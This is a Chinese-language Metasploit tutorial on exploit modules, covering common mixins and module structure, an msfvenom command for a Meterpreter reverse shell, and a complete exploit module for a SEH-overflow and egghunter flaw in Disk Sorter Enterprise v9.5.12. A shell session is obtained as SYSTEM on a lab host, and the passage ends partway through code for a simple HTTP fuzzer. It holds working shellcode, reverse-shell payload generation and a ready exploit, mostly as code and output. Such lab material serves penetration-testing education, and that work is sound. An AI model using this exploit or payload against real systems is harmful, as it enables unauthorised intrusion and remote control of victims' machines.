Metasploit渗透测试之探索漏洞利用

概述

到目前为止,我们已经学习了如何利用漏洞,但不知道它们是如何工作的。尽管所有漏洞利用模块都经过了彻底验证,但了解它们的构建方式总是有好处的。作为渗透测试人员,知道如何编写自己的模块,或者简单地向现有模块添加新功能,是一项很棒的技能。

本文将涵盖在框架内使用漏洞利用程序时需要了解的所有细节。但不会涵盖漏洞利用程序的开发,它是另一个完整的研究领域;我们将使用现用的漏洞利用验证程序 (PoC),并了解如何将它们添加到框架中。还将了解一些重要的 mixins,它们可以简化将漏洞利用程序转换为 Metasploit 模块的过程。

# 1、常见漏洞利用代码mixins

MixinsRuby语言中应用广泛的一种机制,其作用是为模块提供功能,并使得Ruby这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins,可帮助调用该漏洞利用代码所需的不同函数。在本节中,我们将学习一些重要的Metasploit exploit mixins

让我们快速浏览一下一些常见的exploit mixins。然后在现有漏洞利用模块中了解其是如何实现的:

  • Exploit::Remote::TCP:该mixin为模块提供了TCP相关功能,可用于建立TCP连接。connect()函数与disconnect()函数分别负责建立和终止连接,此外还需要一些不同的参数,例如RHOSTRPORTSSL等。
  • Exploit::Remote::UDP:  该mixin为模块提供了UDP相关功能,可用于建立UDP连接。UDP通常被视为比TCP更快的连接模式,因此也是一个方便的选项,该mixin还包含了Rex::Socket::UDP,从而不必担心无法与目标建立socket连接的问题。
  • Exploit::Remote::SMB:此 mixin 提供与远程计算机上的 SMB/CIFS 服务交互的方法。它扩展了 TCP 漏洞利用 mixin,对于漏洞利用非常有用。 smb_login() 和 smb_ create() 是该mixin提供的有用函数。
  • Exploit::BruteTargets:这是一个有趣的 mixin,用于暴力破解目标。它使用exploit_target(target)函数接收远程目标IP并执行暴力攻击。这个 mixin 可以很容易地在不同的暴力攻击代码中扩展和使用。
  • Exploit::Remote::Ftp:此 mixin 用于利用远程目标上的 FTP 服务。它包括 Remote::TCP 以便与远程目标建立连接。它使用 connect() 函数,该函数接收 RHOST 和 RPORT 的值,以便连接到远程系统上的 FTP 服务器。
  • Msf::Exploit::Seh:这个 mixin 提供了一个接口,以动态且灵活的方式生成 SEH 注册记录 Rex::Exploitation::Seh 类。
  • Msf::Exploit::Egghunter:这个mixin提供了一个接口,使用Rex::Exploitation::Egghunter类为各种平台生成egghunters。当发生溢出时有效载荷空间有限的情况下,Egghunter 非常有用,但可以将更大的有效载荷加载到内存中其他可能无法直接预测的位置。

这些是一些重要的exploit mixins,当你在框架内使用漏洞利用模块时,它们会非常方便。使用mixins可避免重复使用相同模块。这就是模块化架构非常灵活的原因,因为它有利于代码重用。

如前面所说,mixins用于在Ruby这种单继承语言中提供多继承机制,意味着可以根据实际需要在任意模块中调用不同的功能。例如,需要在漏洞利用代码模块中建立TCP连接,则不需要专门为其定义一个完整的函数,而是可以简单地在模块中调用Exploit::Remote::TCP这一mixin并利用它提供的功能。

除了上面提及的mixins之外,MSF框架中还有很多重要的mixins,包括fileformatimapjavasmtp等,可以在lib/msf/core/exploit目录中找到。

└─# pwd
/usr/share/metasploit-framework/lib/msf/core/exploit
                                                                                                                                   
┌──(root㉿kali)-[/usr/…/lib/msf/core/exploit]
└─# ls
android.rb        dhcp_server.rb    git.rb                   ntlm.rb        remote                   sqli
auto_target.rb    egghunter.rb      http.rb                  omelet.rb      remote.rb                sqli.rb
brute.rb          exe.rb            java_deserialization.rb  oracle.rb      retry.rb                 tftp_server.rb
brute_targets.rb  file_dropper.rb   java.rb                  pdf_parse.rb   riff.rb                  view_state.rb
capture.rb        fileformat.rb     jsobfu.rb                pdf.rb         rop_db.rb                wbem_exec.rb
cmd_stager        format            kernel_mode.rb           php_exe.rb     ruby_deserialization.rb  windows_constants.rb
cmd_stager.rb     format_string.rb  local                    powershell     seh.rb
dect_coa.rb       git               local.rb                 powershell.rb  smb

# 2、探索模块结构

了解漏洞利用模块的结构非常重要,因为这将有助于我们分析不同的漏洞利用模块。由于 Metasploit 框架是一个开源项目,其开发依赖于社区的贡献。来自世界各地的开发人员将各种漏洞利用的概念证明转换为 Metasploit 模块,以便每个人都可以使用。因此,你也可以通过将新发现的漏洞利用代码转换为模块来为社区做出贡献。此外,在某些情况下,你可能需要框架中没有的特定漏洞利用。掌握模块结构的知识将帮助你轻松地将漏洞利用程序转换为模块。在本节中,我们将了解模块的基本结构。

你可以在  /usr/share/metasploit-framework/modules/exploits目录中找到漏洞利用模块,让我们对MSF中漏洞利用代码的结构进行分析。

漏洞利用模块的格式类似于辅助模块的格式,但多了一些特定的内容。

1、模块以类的声明开始,该类扩展了与漏洞利用相关的属性。在此示例中,MetasploitModule 类扩展了Remote Exploit 库。此外,该模块还包括其他 mixins,例如 SehEgghunter 和 Tcp

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Tcp

2、然后是初始化函数 initialize ,用于初始化模块的不同值和内容定义。此函数的一些主要定义包括 Name 、 Description 、 Author 和 Version` 等。

def initialize(info = {})
super(update_info(info,
  'Name' => '',
  'Description' => %q(),
  'License' => MSF_LICENSE,
  'Author' => [''],
  ...snip...

3、register_options 可以注册多个基本数据存储选项。基本数据存储选项是必须配置的选项,例如服务器端漏洞利用中的 RPORT 选项。

register_options(
  [
    Opt::RPORT(21),
  ], self.class)

4、目前为止,可以看到其结构与辅助模块非常类似,其差别在exploit()函数。首先,connect方法将调用Rex::Socket::Tcp.create来创建套接字并将其注册到框架。然后构建传输的缓冲区,使用 put 方法和 sock.put() 发送,最后使用 handler 方法检查攻击载荷连接是否已建立。

def exploit
    connect

    buf = rand_text_alpha(1024)
    buf << [ target.ret ].pack('V')
    buf << payload.encoded

    sock.put(buf)
    sock.get_once

    handler
  end

你还可以声明一个漏洞测试函数 check(),它验证目标是否存在漏洞。它验证除攻击载荷之外的所有选项。

上面是对Metasplot中漏洞利用代码模块的基本介绍,后面中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。

# 它的工作原理

上述分析的漏洞利用代码模块结构是Metasploit可以理解的格式。def initialize()函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地,register_options()则被Metasploit用于定义一些不同的参数,或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。在文的后面,我们还会介绍怎样将现有的漏洞利用代码转换为Metasploit模块。

# 3、利用MSFvenom生成Shellcode

在之前的章节中我们已经学习了有关 MSFvenom 的内容,现在我们将再次使用它,但这一次是为了生成可以在 PoC 中使用的自定义 shellcode。网上发布的 PoC 漏洞通常使用bind shell、硬编码 IP 地址,或者只是打开计算器来证明代码执行,这意味着它们可能不符合在渗透测试期间的需求。为此,很多时候我们需要用自己的代码替换shellcode

Shellcode 是一小段代码,用作利用软件漏洞的攻击载荷。它被称为 shellcode,因为大多数时候它用于启动 shell,以便攻击者可以控制受感染的目标。

准备一个 PoC,该 PoC 利用 Disk Sorter Enterprise v9.5.12 的 Web 界面中基于堆栈的缓冲区溢出漏洞,这是由于对发送到内置Web服务器的HTTP GET 请求中的请求路径边界检查不当造成的。 PoC 和易受攻击的应用程序可在漏洞数据库网站 https://www.exploit-db.com/exploits/41666/ 中找到。要设置易受攻击的应用程序,请将其安装在 Windows 7 目标计算机上,然后导航到Tools | Disk Sorter Enterprise Options | Server 并启用端口 80 上的 Web 服务器。

image-20230829104303125

查看Poc代码,可用发现设置了默认的IP地址,攻击载荷使用了bind shell


import socket,os,time,struct

host = "192.168.2.186"
port = 80

#Bad Chars \x00\x09\x0a\x0d\x20"

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode =  ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"

这意味着,如果我们要利用此漏洞,我们需要更改IP地址和将shellcode替换为reverse shell(因为我们的目标机器可能启用了防火墙)。

1、生成 shellcode 时,应该注意的事情之一是不应该使用的字符,也称为坏字符。某些字符被认为是坏字符,是因为它会阻止漏洞利用,例如,在缓冲区溢出漏洞中,空字节 0x00 将截断缓冲区,防止溢出发生或破坏 shellcode。幸运的是,这个代码注释中写了要避免的字符,但其他 PoC 不一定会写清楚。

2、现在我们已经拥有了所需的所有信息,然后就可以使用 MSFvenom 生成 shellcode,在本例中使用 Meterperter reverse shell-b 参数后跟坏字符\x00\x09\x0a\x0d\x20-f指定输出格式,在本例中为 python,因为 PoC 是用 Python 编写的,--var-name 指定变量名称,以便它与 PoC 中使用的变量名称(即 shellcode)相匹配:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.140 LPORT=7777 -b "\x00\x09\x0a\x0d\x20" -f python --var-name shellcode 
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 2136 bytes
shellcode =  b""
shellcode += b"\xdd\xc0\xd9\x74\x24\xf4\xba\x43\xc5\x26\xa2"
shellcode += b"\x5e\x33\xc9\xb1\x59\x31\x56\x19\x03\x56\x19"
shellcode += b"\x83\xee\xfc\xa1\x30\xda\x4a\xaa\xbb\x23\x8b"
shellcode += b"\xd4\x32\xc6\xba\xc6\x21\x82\xef\xd6\x22\xc6"
shellcode += b"\x03\x9d\x67\xf3\x90\xd3\xaf\xca\x59\x1c\x07"
shellcode += b"\x66\x80\x13\xa7\xdb\xf0\x32\x5b\x26\x25\x94"
shellcode += b"\x62\xe9\x38\xd5\xa3\xbf\x37\x3a\x79\xcb\xea"
shellcode += b"\xd4\x29\x40\x48\xe8\xd4\x86\xc6\x50\xaf\xa3"
shellcode += b"\x19\x24\x03\xad\x49\x4f\xc3\x8d\xe2\x07\xec"
shellcode += b"\xcc\x27\xc7\x89\x06\xb3\xdb\xd8\xa9\xc3\xa8"
shellcode += b"\xef\x42\x3a\x78\x3e\x95\x91\x45\x8e\x18\xeb"
shellcode += b"\x82\x29\xc3\x9e\xf8\x49\x7e\x99\x3b\x33\xa4"
shellcode += b"\x2c\xdb\x93\x2f\x96\x3f\x25\xe3\x41\xb4\x29"
shellcode += b"\x48\x05\x92\x2d\x4f\xca\xa9\x4a\xc4\xed\x7d"
shellcode += b"\xdb\x9e\xc9\x59\x87\x45\x73\xf8\x6d\x2b\x8c"
shellcode += b"\x1a\xc9\x94\x28\x51\xf8\xc3\x4d\x9a\x02\xec"
shellcode += b"\x13\x0c\xce\x21\xac\xcc\x58\x31\xdf\xfe\xc7"
shellcode += b"\xe9\x77\xb2\x80\x37\x8f\xc3\x87\xc7\x5f\x6b"
shellcode += b"\xc7\x39\x60\x8b\xc1\xfd\x34\xdb\x79\xd7\x34"
shellcode += b"\xb0\x79\xd8\xe0\x2c\x70\x4e\xcb\x18\xdf\x02"
shellcode += b"\xa3\x5a\xe0\x04\x55\xd3\x06\x68\xc5\xb3\x96"
shellcode += b"\xc9\xb5\x73\x47\xa2\xdf\x7c\xb8\xd2\xdf\x57"
shellcode += b"\xd1\x79\x30\x01\x89\x15\xa9\x08\x41\x87\x36"
shellcode += b"\x87\x2f\x87\xbd\x2d\xcf\x46\x36\x44\xc3\xbf"
shellcode += b"\x21\xa6\x1b\x40\xc4\xa6\x71\x44\x4e\xf1\xed"
shellcode += b"\x46\xb7\x35\xb2\xb9\x92\x46\xb5\x46\x63\x7e"
shellcode += b"\xcd\x71\xf1\x3e\xb9\x7d\x15\xbe\x39\x28\x7f"
shellcode += b"\xbe\x51\x8c\xdb\xed\x44\xd3\xf1\x82\xd4\x46"
shellcode += b"\xfa\xf2\x89\xc1\x92\xf8\xf4\x26\x3d\x03\xd3"
shellcode += b"\x34\x3a\xfb\xa1\x12\xe3\x93\x59\x23\x13\x63"
shellcode += b"\x30\xa3\x43\x0b\xcf\x8c\x6c\xfb\x30\x07\x25"
shellcode += b"\x93\xbb\xc6\x87\x02\xbb\xc2\x46\x9a\xbc\xe1"
shellcode += b"\x52\x2d\xc6\x8a\x65\xce\x37\x83\x01\xcf\x37"
shellcode += b"\xab\x37\xec\xe1\x92\x4d\x33\x32\xa1\x5e\x06"
shellcode += b"\x17\x80\xf4\x68\x0b\xd2\xdc"

3、现在,将 PoC 中的shellcode替换为我们使用 MSFvenom 创建的shellcode,更改目标的 IP 地址,并在msfconsole中使用Handler模块启用监听。

image-20230829110433324

image-20230829111234917

4、执行poc进行测试

$ python2.7 testpoc.py

5、msfconsole收到一个反弹shell会话

msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.91.140:7777 
[*] Sending stage (175686 bytes) to 192.168.91.141
[*] Meterpreter session 1 opened (192.168.91.140:7777 -> 192.168.91.141:49160) at 2023-08-29 00:34:15 -0400

msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                           Connection
  --  ----  ----                     -----------                           ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ WIN-ER5L92C9L9  192.168.91.140:7777 -> 192.168.91.14
                                     6                                     1:49160 (192.168.91.141)

msf6 exploit(multi/handler) > 
# 4、将漏洞利用转换为 Metasploit 模块

现在我们已经知道如何更改现有PoC,下一步就是将漏洞利用程序转换为 Metasploit 模块。掌握如何编写漏洞利用程序的基本知识至关重要,因为网上找到的大多数 PoC 都没有附带手册。话虽这么说,让我们继续,看看如何使用现有的 PoC 构建我们自己的漏洞利用模块。

在开始之前,了解基于堆栈的缓冲区溢出原理非常重要。

当写入缓冲区的数据多于缓冲区所能容纳的数据时,就会发生基于堆栈的缓冲区溢出,从而超出缓冲区的边界并覆盖相邻的内存位置。

查看 PoC,我们可以看到通过发送 2487 个字符,我们可以溢出下一个 SEH 和 SEH 记录:

#Buffer overflow
junk = "A" * 2487

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)

结构化异常处理程序(SEH)是一种异常处理机制。当程序崩溃并触发异常时,会调用SEH来尝试恢复操作。 SEH是一个包含数据记录序列的链表;当异常被触发时,Windows将遍历该列表并尝试处理该异常。如果不能,它将继续沿着列表向下并评估其他异常函数是否合适。

当利用 SEH 覆盖时,我们可以使用 POP POP RET 指令序列的地址覆盖 EXCEPTION_REGISTRATION_RECORD 的处理程序属性。当异常被触发时,程序流将转到SEH,我们在其中放置代码以跳转到我们的payload

通过覆盖下一个SEH,我们可以欺骗SEH执行POP POP RET指令,这样下一个SEH的地址就会被放入EIP中,从而执行下一个SEH中的代码,这会跳过一些字节并执行shellcode

接下来,我们有一个 egghunter :

egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Egghunter 是一种在漏洞利用开发过程中使用的技术,用于在整个内存范围中搜索 shellcode 并将流程重定向到它。

由于Metasploit已经有了生成 SEH 记录和 Egghunter 的 mixin,所以不需要自己编写或从 PoC 移植它们。

要将 PoC 漏洞移植到 Metasploit 框架,我们可以使用 /usr/share/metasploit-framework/modules/exploits 文件夹中的 example.rb 模板。

1、首先包含我们需要的 mixin 开始:

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
    
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient

2、然后指定payload中不应该使用的坏字符

'Payload' =>
{
  'BadChars' => "\x00\x09\x0a\x0d\x20",
},

3、接下来,我们根据目标信息,在 Offset 变量中指定溢出下一个 SEH 记录所需的字节数以及 POP POP RET 指令的地址:

'Targets' =>
[
  [ 'Disk Sorter Enterprise v9.5.12',
    {
      'Offset' => 2488,
      'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll]
    }
  ]
],

如你所见,我们需要将偏移量从 2487 调整到 2488,以便漏洞利用能够发挥作用。这是你应该学习如何使用调试器以及如何编写基本漏洞利用的原因之一。

4、在exploit函数中,首先设置egghunter选项并生成egghunter

eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)

5、然后,我们可以按照与 PoC 相同的结构创建漏洞利用程序:

image-20230829125523539

6、首先,我们将生成一些随机字符来填充缓冲区,然后放置 SEH 记录,然后需要搜索的egg、10 个 NOP、包含我们攻击载荷的egg以及一些用于填充的随机字符。

sploit = rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << make_nops(10)
sploit << egg
sploit << rand_text_alpha(5500)

7、最后,打印状态信息,告诉我们请求正在发送,并且使用 HttpClient mixin 来发送exploit

print_status('Sending request...')

send_request_cgi(
'method' => 'GET',
'uri' => sploit
)

如你所见,整个过程简单明了。

# 5、移植和测试新的漏洞利用模块

在上一节中,我们学习了如何利用现有的 PoC 编写 Metasploit 漏洞利用模块。在本节中,将对其进行测试,看看一切是否顺利。

将我们的漏洞利用模块存储在正确的位置至关重要。这有助于我们跟踪不同的模块并了解基本的模块用法。现在你已经有了完整的模块代码,找个合适的目录保存它。

私有模块位于 ~/.msf4/modules/ 文件夹中。因此,使用 mkdir 命令创建一个文件夹结构来保存我们的模块。由于这是一个针对 Windows 操作系统的漏洞利用模块,它会影响 HTTP 协议,因此设置模块目录为:

$ mkdir -p ~/.msf4/modules/exploits/windows/http

启动msfconsole加载模块,测试是否正常。

msf6 exploit(windows/http/disksrce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksrce) > show options 

Module options (exploit/windows/http/disksrce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.91.141   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.91.140   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Disk Sorter Enterprise v9.5.12



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/disksrce) > exploit 

[*] Started reverse TCP handler on 192.168.91.140:4444 
[*] Sending request...
[*] Sending stage (175686 bytes) to 192.168.91.141
[*] Meterpreter session 1 opened (192.168.91.140:4444 -> 192.168.91.141:56197) at 2023-08-29 02:51:07 -0400

meterpreter > 

成功返回了shell,说明我们的模块没有问题。

完整代码:


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking 

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Disk Sorter Exploit',
        'Description' => %q{
          This exploit module illustrates how a vulnerability could be exploited
          in an TCP server that has a parsing bug.
        },
        'License' => MSF_LICENSE,
        'Author' => ['test'],
        'Platform'       => 'win',
        'Payload' => {
          'BadChars' => "\x00\x09\x0a\x0d\x20",
        },
        'Targets' =>
        [
          [ 'Disk Sorter Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll]
            }
          ]
        ],
        'DisclosureDate' => '2023-08-29',
        'DefaultTarget' => 0,
      )
    )
  end

  def exploit
    eggoptions = {
    checksum: true,
    eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
    payload.encoded,
    payload_badchars,
    eggoptions
    )

    sploit = rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
    'method' => 'GET',
    'uri' => sploit
    )
  end
end
# 6、使用 Metasploit 进行模糊测试

模糊测试是一种软件测试技术,包括使用随机数据注入查找实现错误。模糊器生成格式错误的数据并将其传递给特定的目标实体以验证其溢出能力。 Metasploit 提供了几个有助于漏洞开发的模糊测试模块。让我们进一步探讨模糊测试的基础知识以及如何将 Metasploit 模块用作潜在的模糊测试器。

让我们先简要了解一下fuzzing及其类型。

Metasploit 框架提供了一整套用于操作网络协议和数据的库,可以帮助我们开发简单的fuzzer

根据我们所针对的应用程序或协议类型,我们可以设置fuzzer来生成数据/数据包,以测试溢出条件。Metasploit 包含多个fuzzer模块,可用于测试应用程序和协议。这些模块位于 modules/auxiliary/fuzzers 中。让我们分析一下这些模块的实现。

┌──(kali㉿kali)-[/usr/…/metasploit-framework/modules/auxiliary/fuzzers]
└─$ ls
dns  ftp  http  ntp  smb  smtp  ssh  tds

让我们用 HTTP Fuzzer 做个实验,看看如何在 Disk Sorter Enterprise 应用程序中发现基于堆栈的缓冲区溢出。Metasploit 有一个 HTTP GET Request URI Fuzzer,我们可以使用它:

msf6 > use auxiliary/fuzzers/http/http_get_uri_long 
msf6 auxiliary(fuzzers/http/http_get_uri_long) > set RHOSTS 192.168.91.141
RHOSTS => 192.168.91.141
msf6 auxiliary(fuzzers/http/http_get_uri_long) > run
[*] Running module against 192.168.91.141

[*] 192.168.91.141:80 - Fuzzing with iteration 100 using string length 100
[*] 192.168.91.141:80 - Fuzzing with iteration 200 using string length 200
[*] 192.168.91.141:80 - Fuzzing with iteration 300 using string length 300
[*] 192.168.91.141:80 - Fuzzing with iteration 400 using string length 400
[*] 192.168.91.141:80 - Fuzzing with iteration 500 using string length 500
[*] 192.168.91.141:80 - Fuzzing with iteration 600 using string length 600
[*] 192.168.91.141:80 - Fuzzing with iteration 700 using string length 700
[*] 192.168.91.141:80 - Fuzzing with iteration 800 using string length 800
[*] 192.168.91.141:80 - Fuzzing with iteration 900 using string length 900
[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using string length 1000
[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using string length 1100
[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using string length 1200
[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using string length 1300
[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using string length 1400
[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using string length 1500
[*] 192.168.91.141:80 - The service may have crashed: iteration:1579 len=1580 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.
[*] Auxiliary module execution completed

查看该模块的输出结果,我们可以看到,通过向Windows 7目标计算机发送一个包含 1580 个字符的请求,让服务崩溃。我们可以看到结果:

image-20230829150638915

# 7、编写Fuzz测试器

在上节中,我们使用 HTTP fuzzer发送了一系列 URL 长度递增的 HTTP GET 请求,直到服务崩溃。现在,我们将了解它是如何工作的,并构建自己的小型 HTTP fuzzer,用来测试Disk Sorter Enterprise

1、构建一个fuzzer模块类型于之前学习过的辅助模块:

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Fuzzer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'HTTP Fuzzer',
      'Description' => %q{Simple HTTP GET Request Fuzzer},
      'Author' => [ 'Daniel Teixeira' ],
      'License' => MSF_LICENSE
    ))
    register_options([
      Opt::RPORT(80),
      OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] )
    ])
  end

2、导入MSF库后,创建了一个类并定义了选项,下一步就是定义建立 sock 连接的函数:

def get_request(uri='',opts={})
  @connected = false
  connect
  @connected = true

  sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
  sock.get_once(-1, 1)
end

实例变量@connected来表示连接状态,并在连接前后进行设置,以确保在发送请求之前已经建立了连接。 sock.put用于使用TCP mixin发送请求,sock.get_once用于从服务获取响应,并设置超时时间为1秒。

3、接下来定义fuzzer主体:

def run
  last_req = nil
  error = nil
  count = 0

  1.upto(datastore['MAXLENGTH'].to_i) do |len|
    count += 1
    req = fuzzer_gen_string(len)
    uri = "/" + req

    if(count % 100 == 0)
      print_status("Fuzzing with iteration #{count} using reqing length #{len}")
    end

    begin
      r = get_request(uri,:timeout => 0.25)
    rescue ::Interrupt
      print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}")
      raise $!
    rescue ::Exception => e
      error = e
    ensure
      disconnect
    end

    if(not @connected)
      if(last_req)
        print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}")
      else
        print_status("#{error}")
      end
      return
    end

    last_req = req
  end
end

首先,我们要初始化所需的变量,包括最后发送的请求、错误和迭代次数计数器。然后,我们建立一个循环,在这个循环中,我们将以递增的URI长度发送 HTTP Get 请求,并等待响应。如果等待响应的时间超时,则认为服务中断,并将迭代次数、URI 长度和 URI 打印到屏幕上。

完整代码:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Fuzzer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'HTTP Fuzzer',
      'Description' => %q{Simple HTTP GET Request Fuzzer},
      'Author' => [ 'Daniel Teixeira' ],
